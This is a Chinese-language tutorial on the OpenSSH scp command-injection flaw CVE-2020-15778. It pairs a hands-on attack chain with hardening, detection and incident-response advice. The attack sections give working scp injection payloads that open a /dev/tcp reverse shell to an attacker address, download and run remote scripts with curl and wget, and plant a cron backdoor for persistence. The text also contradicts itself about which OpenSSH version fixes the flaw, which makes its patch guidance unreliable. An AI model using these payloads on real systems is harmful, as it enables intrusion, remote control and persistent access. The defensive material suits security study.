CVE-2020-15778:OpenSSH SCP命令注入漏洞原理与实战攻防
1. 项目概述:从一次内部安全演练说起
去年在一次针对内部服务器的安全渗透测试中,我们遇到了一个非常典型的场景:目标系统是一个看似“固若金汤”的跳板机,只开放了SSH(端口22)服务,并且配置了强密码和密钥认证,常规的暴力破解和漏洞扫描都无功而返。就在团队准备转向社会工程学方向时,一个同事在检查已授权的公钥时,无意间在authorized_keys文件里发现了一个熟悉的命令限制参数command=。这个发现让我们瞬间想起了那个老生常谈,却又时常被忽略的漏洞——OpenSSH的SCP命令注入漏洞,也就是CVE-2020-15778。
这个漏洞的特别之处在于,它不依赖于SSH服务本身的认证绕过,而是利用了SCP(Secure Copy)客户端在解析远程命令时的一个逻辑缺陷。攻击者无需知道用户密码或窃取私钥,只要拥有一个受限的SSH账号(哪怕这个账号只能执行特定的、看似无害的命令),就有可能实现权限提升和命令执行。这就像你家的防盗门(SSH认证)非常坚固,但猫眼(SCP功能)的设计却存在瑕疵,允许外人通过特定的方式“伸手”进来拨动门内的锁舌。
本文将从一个实战攻防的视角,彻底拆解CVE-2020-15778。我们不仅会深入其技术原理,更会还原一个完整的攻击链:从信息收集、漏洞验证,到实际的命令注入利用、权限维持,最后深入探讨真正有效的防御方案和检测思路。无论你是安全工程师、系统管理员,还是对底层安全机制感兴趣的开发者,理解这个漏洞都能让你对“最小权限原则”和“攻击面管理”有更深刻的认识。
2. 漏洞核心原理:SCP客户端的“信任”与“背叛”
要理解这个漏洞,首先得弄清楚SCP的正常工作流程,以及OpenSSH是如何处理远程命令的。
2.1 SCP的正常工作流程
当你执行scp local_file user@remote_host:/tmp/时,背后发生了以下几步:
- 本地构造命令:你的SCP客户端(比如
/usr/bin/scp)首先会通过SSH协议连接到remote_host。 - 启动远程进程:连接建立后,本地SCP客户端会在远程主机上启动一个远程SCP进程。这个进程不是由你手动执行的,而是由SSH服务端根据客户端的请求自动派生的。在旧版本中,这个请求本质上是在远程执行一个命令,类似于:
ssh user@remote_host “scp -t /tmp/”这里的-t参数代表“to”(接收方),告诉远程的SCP进程准备接收文件到/tmp/目录。 - 通信与传输:本地和远程的SCP进程通过SSH建立的安全通道进行通信,协商文件属性(权限、时间戳),然后传输文件数据。
问题的关键就在于第二步:本地SCP客户端是如何告诉服务端要执行什么命令的?
2.2 漏洞的根源:命令拼接与shell元字符
在受影响的OpenSSH版本(8.3p1及之前)中,SCP客户端的实现存在一个逻辑问题。当处理包含空格或特殊字符的远程文件名或路径时,客户端在构造远程命令字符串时,没有进行充分的过滤或转义。
假设我们想传输一个本地文件test.txt到远程主机的/tmp目录,但故意使用一个恶意的文件名:scp ‘test.txt’ user@remote_host:‘/tmp/$(id > /tmp/exploit)‘
在理想的安全模型中,远程SSH服务端应该收到一个安全的、参数化的命令,比如将路径/tmp/$(id > /tmp/exploit)作为一个整体字符串参数传递给远程的scp -t命令。然而,存在漏洞的客户端实现可能会这样构造命令:
scp -t ‘/tmp/$(id > /tmp/exploit)’
注意,这里的整个字符串是被单引号包裹的,作为-t的一个参数。但是,在某些代码执行路径下(特别是当本地路径名也包含空格等复杂情况时),客户端的代码可能会错误地处理引号,或者服务端在最终执行命令时,其调用逻辑(例如通过ssh user@host command这种模式)会先将命令字符串传递给一个shell(如bash)进行解析。
于是,在远程主机上,实际发生的可能是:
- SSH服务端收到连接和命令字符串:
scp -t ‘/tmp/$(id > /tmp/exploit)’ - 服务端为了执行这个命令,会启动一个shell进程(例如
/bin/bash -c “scp -t ‘/tmp/$(id > /tmp/exploit)’”)。 - Shell在解析这条命令时,会先进行命令替换。它会执行反引号或
$()中的内容。因此,$(id > /tmp/exploit)会被执行,将id命令的输出写入/tmp/exploit文件。 - 命令替换完成后,Shell试图执行的是
scp -t ‘/tmp/‘(因为$(id …)部分已被其输出结果替换,但这里输出为空,所以路径变成了/tmp/),此时SCP传输可能失败,但注入的命令id已经执行成功了。
核心要点:漏洞的本质是,攻击者控制的输入(文件名/路径)被不安全地拼接到了发送给远程主机的命令字符串中,并且该字符串最终在一个Shell上下文中被解析,导致Shell元字符(如
、$()、;、&等)生效。
2.3 受限环境下的威力倍增:与authorized_keys的command=联动
单纯的命令注入,如果攻击者已经有一个可以执行任意命令的shell,那意义不大。CVE-2020-15778的威力在受限的SSH账号场景下被放大。
系统管理员经常使用SSH的authorized_keys文件中的command=选项来限制密钥的权限。例如:command=”/usr/local/bin/backup.sh”,no-port-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC…
这个配置意味着,使用对应私钥登录时,只能执行/usr/local/bin/backup.sh这个脚本,不能获得交互式shell,也不能进行端口转发。这看起来非常安全。
然而,SCP命令的调用绕过了这个限制。因为command=”…”限制的是SSH会话初始执行的命令。当客户端发起一个SCP连接时,它请求执行的命令是scp -t /path,这个命令与authorized_keys中规定的/usr/local/bin/backup.sh不匹配。在OpenSSH的默认配置下,如果请求的命令不在允许的范围内,连接会被拒绝。
但是,这里存在一个历史行为和配置问题:在某些版本或配置下,或者由于管理员的理解误区,他们可能认为SCP是“安全的文件传输”,从而在设置command=限制时,额外允许了scp命令。例如:command=”/usr/local/bin/backup.sh”,command=”scp”,no-pty …
或者,更常见的是,管理员错误地编写了包装脚本,而脚本内部没有正确地过滤所有参数,间接允许了SCP的执行。
一旦SCP命令被允许执行,攻击者就可以利用前述的命令注入漏洞,将scp -t /path中的/path参数替换为恶意注入的payload,从而在远程主机上执行任意的命令,完全突破了command=的限制,实现了从“仅能执行备份脚本”到“可执行任意命令”的权限提升。
3. 实战攻击链拆解:从信息收集到站稳脚跟
理解了原理,我们来看一个完整的攻击模拟。假设目标主机是192.168.1.100,我们通过某种方式(如源码泄露、配置错误)获得了一个受限的SSH私钥。
3.1 第一阶段:信息收集与权限确认
首先,我们需要确认这个密钥的权限。
步骤1:测试基础连接
ssh -i compromised_key user@192.168.1.100如果直接获得了shell,那说明没有限制,漏洞可能不适用(但依然可以尝试注入)。更可能的情况是连接被立即关闭,或者提示“This account is restricted…”之类的信息,这表明存在command=或ForceCommand限制。
步骤2:尝试执行特定命令
ssh -i compromised_key user@192.168.1.100 id ssh -i compromised_key user@192.168.1.100 ls -la这些命令很可能被拒绝,返回类似“Permission denied”的错误。
步骤3:试探SCP是否被允许这是关键一步。我们尝试一个最简单的SCP操作,从远程拉取一个可能存在的文件(比如/etc/passwd),或者推送一个无害的小文件。
# 尝试从远程拉取文件(如果知道一个确切存在的文件路径) scp -i compromised_key user@192.168.1.100:/etc/hostname ./test_local # 尝试向远程推送文件 echo “test” > testfile scp -i compromised_key testfile user@192.168.1.100:/tmp/testfile_remote- 如果SCP成功(即使文件不存在导致拉取失败,但连接和命令协商阶段成功):这意味着远程SSH服务允许执行
scp命令。这是漏洞利用的前提。 - 如果SCP也被拒绝:说明限制非常严格,连SCP命令也不允许,那么此漏洞无法直接利用。攻击者可能需要寻找其他突破口,比如利用包装脚本本身的逻辑漏洞。
假设我们测试发现,向/tmp目录推送文件成功。这说明我们拥有一个受限的、但允许执行SCP命令的SSH账号。
3.2 第二阶段:漏洞验证与命令注入
确认SCP可用后,我们开始验证漏洞是否存在。我们构造一个包含Shell元字符的“文件名”或“路径”。
方法:使用反引号或$()执行命令我们无法直接控制远程执行的scp命令,但我们可以控制传递给它的参数(即目标路径)。
# 尝试注入一个简单的命令,将执行结果写入临时文件 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(touch /tmp/pwned_success)’ # 或者使用反引号 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/`touch /tmp/pwned_success2`’执行上述命令后,观察SCP客户端的输出。它很可能会报错,例如:scp: /tmp/: not a regular file或者protocol error: unexpected <newline>这很正常,甚至是我们期望的。因为注入的命令touch /tmp/pwned_success执行后,它本身会被其输出(空)替换,导致最终路径变成/tmp/,SCP进程会因此出错。
关键验证:随后,我们立即尝试利用这个受限账号执行一个SSH命令(虽然会被限制),但目的是检查注入是否成功。
ssh -i compromised_key user@192.168.1.100 “ls -la /tmp/pwned_success*”如果返回了/tmp/pwned_success文件的信息,那么恭喜,命令注入成功了!我们成功地在远程主机上创建了文件,突破了command=的限制。
3.3 第三阶段:利用注入实现交互与权限维持
单纯的执行touch命令证明漏洞存在,但实战中我们需要更有用的能力,比如反弹shell、下载木马、提权等。
挑战:由于command=限制和可能的no-pty选项,我们无法获得标准的交互式终端。我们的命令执行环境是“非交互式、无TTY”的。这限制了很多需要TTY的工具(如sudo、su、vim等)。
利用技巧1:反弹Shell我们可以注入命令来启动一个反向连接。
# 在攻击机(192.168.1.50)上监听端口 nc -lvnp 4444 # 通过SCP注入执行反弹shell命令 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(bash -i >& /dev/tcp/192.168.1.50/4444 0>&1)’如果目标主机有nc(netcat)且支持-e参数,也可以使用。但bash的/dev/tcp特性更为通用。连接成功后,你将在攻击机的nc监听端获得一个远程的bash shell。注意,这个shell可能仍然是受限的(受原始用户权限限制),并且没有完整的TTY。
利用技巧2:下载并执行Payload我们可以使用curl或wget下载后续的攻击载荷。
# 注入命令,下载脚本并执行 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(curl -s http://192.168.1.50/exploit.sh | bash)’ # 或者分步进行 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(wget -O /tmp/exp.sh http://192.168.1.50/exploit.sh)’ scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(chmod +x /tmp/exp.sh && /tmp/exp.sh)’利用技巧3:权限提升与后门安装获得初始立足点后,接下来的步骤就属于常规的内网渗透和权限提升范畴:
- 信息收集:检查当前用户权限(
id)、sudo权限(sudo -l)、SUID文件(find / -perm -4000 2>/dev/null)、内核版本(uname -a)、运行的服务(ps aux)等。 - 权限提升:根据收集的信息,利用本地内核漏洞、配置错误(如可写的服务脚本、错误的sudo规则)、弱密码等进行提权。
- 安装后门:为了持久化访问,可以注入命令在
crontab、~/.ssh/authorized_keys、系统服务目录等处添加后门。由于我们是通过注入执行命令,可能需要处理用户环境变量和路径问题,建议使用绝对路径。# 例如,添加一个每5分钟连接一次的cron后门 scp -i compromised_key testfile user@192.168.1.100:‘/tmp/$(echo “*/5 * * * * /bin/bash -c \”exec 9<> /dev/tcp/192.168.1.50/5555 && exec 0<&9 && exec 1>&9 2>&9 && /bin/bash --noprofile -i\”” | crontab -)’
实操心得:在利用注入时,路径中的空格和特殊字符需要仔细处理。使用单引号包裹整个远程路径参数是最稳妥的方式。此外,由于注入的命令在非交互式Shell中执行,复杂的管道和重定向可能需要多次尝试或使用
bash -c “…”的形式来包裹。
4. 防御方案深度剖析:从补丁到架构
面对CVE-2020-15778,防御必须是多层次、纵深式的。仅仅打补丁可能不够,需要从配置、监控和架构上综合应对。
4.1 根本措施:升级与补丁
最直接的修复方式是升级OpenSSH到安全版本。
- OpenSSH 8.3p1 及以上版本已修复此漏洞。修复方式是在SCP客户端代码中,对传递给远程的路径参数进行了更严格的验证和转义,防止其被Shell解析。
- 操作:立即更新所有服务器的OpenSSH套件。对于无法立即升级的系统(如某些嵌入式设备或老旧生产环境),应考虑下述的缓解措施。
4.2 配置加固:正确使用command=限制
很多漏洞利用源于对command=选项的错误配置。正确的配置哲学是“白名单最小化”,并且要理解其与SCP的交互。
避免在
command=中允许scp命令:除非有绝对必要,否则不要为受限密钥授予SCP权限。文件传输可以通过其他受控方式进行,例如:- 在允许的命令脚本(如
/usr/local/bin/backup.sh)内部集成文件上传/下载逻辑。 - 使用SFTP子系统,并配合
ChrootDirectory进行更严格的隔离。
- 在允许的命令脚本(如
使用强制命令包装脚本:如果必须允许某种形式的文件操作,应该使用一个自定义的包装脚本,并在脚本内部进行严格的参数过滤。
# /usr/local/bin/restricted_scp_wrapper.sh #!/bin/bash # 只允许向特定目录传输特定后缀的文件 ALLOWED_DIR=”/var/incoming/uploads” ALLOWED_EXT=”.txt .log .dat” case “$SSH_ORIGINAL_COMMAND” in scp\ -t\ “$ALLOWED_DIR”/*) # 提取文件名,检查后缀 filename=$(echo “$SSH_ORIGINAL_COMMAND” | sed -n “s/.* ‘\([^’]*\)’$/\1/p” | xargs basename) ext=”${filename##*.}” if [[ ” ${ALLOWED_EXT[@]} ” =~ ” ${ext} ” ]]; then # 执行原始命令,但路径已被我们验证 $SSH_ORIGINAL_COMMAND else echo “File extension .$ext not allowed.” exit 1 fi ;; *) echo “Command not allowed.” exit 1 ;; esac然后在
authorized_keys中配置:command=”/usr/local/bin/restricted_scp_wrapper.sh” …。这个脚本尝试解析客户端原始命令($SSH_ORIGINAL_COMMAND),进行白名单校验。注意:编写这样的脚本需要非常小心,避免引入新的命令注入漏洞,上述示例仅为思路参考。使用
ForceCommand替代command=:在sshd_config中使用ForceCommand指令可以全局或基于用户/组限制命令,管理起来可能比分散的authorized_keys条目更清晰。同样需要配合严格的脚本使用。
4.3 网络与主机层防护
- 网络访问控制:严格限制SSH服务的访问来源IP(使用防火墙如
iptables、firewalld或云安全组),仅允许管理终端和跳板机访问。 - 使用证书认证替代密钥:对于企业环境,考虑使用SSH证书认证,可以提供更细粒度、带过期时间的访问控制,并且集中管理,避免私钥散布。
- 文件完整性监控:使用AIDE、Tripwire或Osquery等工具,监控
~/.ssh/authorized_keys、/etc/ssh/sshd_config等关键文件的变更。 - 审计与日志分析:确保SSH日志(
/var/log/auth.log或/var/log/secure)被收集并集中分析。关注异常模式的SCP连接,特别是那些命令参数异常长、包含特殊字符的连接尝试。
4.4 架构层面:减少攻击面
- 隔离跳板机(堡垒机):所有运维访问必须通过统一的、经过严格加固的跳板机。跳板机上禁用不必要的服务,安装HIDS(主机入侵检测系统),并实施会话录制和命令审计。
- 摒弃SCP,转向更安全的替代品:
- SFTP:OpenSSH内置的SFTP子系统是一个更安全的选择。它可以被
ChrootDirectory严格限制在特定目录,并且其协议设计不涉及在远程执行shell命令。 - Rsync over SSH:虽然rsync也通过SSH运行,但它通常以更可控的方式调用远程rsync守护进程或命令。但仍需注意其本身的参数注入问题(历史上有相关CVE)。
- 专门的文件传输服务:对于自动化文件传输,可以考虑使用FTP over TLS/SSL、HTTPS API、或对象存储服务,完全剥离与SSH的耦合。
- SFTP:OpenSSH内置的SFTP子系统是一个更安全的选择。它可以被
5. 检测与应急响应:当漏洞可能已被利用
如果你管理着大量服务器,并且不确定是否已经遭受利用,可以采取以下步骤进行检测和响应。
5.1 入侵指标排查
- 检查SSH日志中的异常SCP命令:在SSH日志中搜索包含反引号、
$()、分号;、管道|等字符的SCP会话。grep “scp” /var/log/auth.log | grep -E “[;\`|\$\(\)]” - 检查可疑的文件创建和进程:关注
/tmp、/dev/shm等临时目录下近期创建的可疑文件。检查是否有未知的定时任务(crontab -l、/etc/cron.*/)、系统服务、或~/.ssh/authorized_keys中的陌生密钥。 - 检查网络连接:使用
netstat -antp或ss -antp查看是否有未知的外连或监听端口,特别是连接到非标准端口或可疑IP的连接。
5.2 应急响应步骤
- 立即隔离:如果确认某台服务器被入侵,立即将其从网络中断开,或通过防火墙阻断其所有出站和入站连接(除管理通道外)。
- 备份现场:对内存(
dump)、进程列表(ps auxf)、网络连接(netstat)、登录日志(last、w)、SSH日志等进行备份,以备后续取证分析。 - 消除后门:根据排查结果,清除恶意文件、定时任务、非法密钥和账户。
- 修复漏洞:升级OpenSSH,并按照前述方案加固SSH配置。
- 全面排查:以被入侵主机为起点,排查同一网络段内、有信任关系(SSH密钥互信、sudo规则等)的其他主机。
- 重置凭证:更换所有可能泄露的SSH密钥、用户密码、服务账户密码。
5.3 搭建模拟环境进行验证
对于安全团队来说,最好的理解方式就是亲手验证。你可以在隔离的虚拟机中搭建环境:
- 安装一个旧版本的OpenSSH(<= 8.3p1)。
- 创建一个受限的SSH用户,在
authorized_keys中设置command=”scp”。 - 尝试从另一台主机利用该漏洞执行命令。
- 升级OpenSSH,验证漏洞是否修复。
- 尝试配置各种防御措施(如包装脚本、SFTP Chroot),并测试其有效性。
这个过程能让你对漏洞的触发条件、利用限制和防御效果有最直观的认识。
CVE-2020-15778给我们的教训是深刻的:安全是一个整体,任何一个环节的“想当然”都可能成为突破口。它提醒我们,在实施“最小权限原则”时,必须彻底理解所使用工具的全部行为含义,特别是那些涉及命令解释和参数传递的边界情况。对于系统管理员和安全工程师而言,持续学习、深度理解协议与工具的底层逻辑,并保持对配置的审慎,是构筑真正有效防御的基石。在实战中,攻击者往往就是利用这些细微的理解偏差和配置疏忽,撕开整个防御体系的裂口。
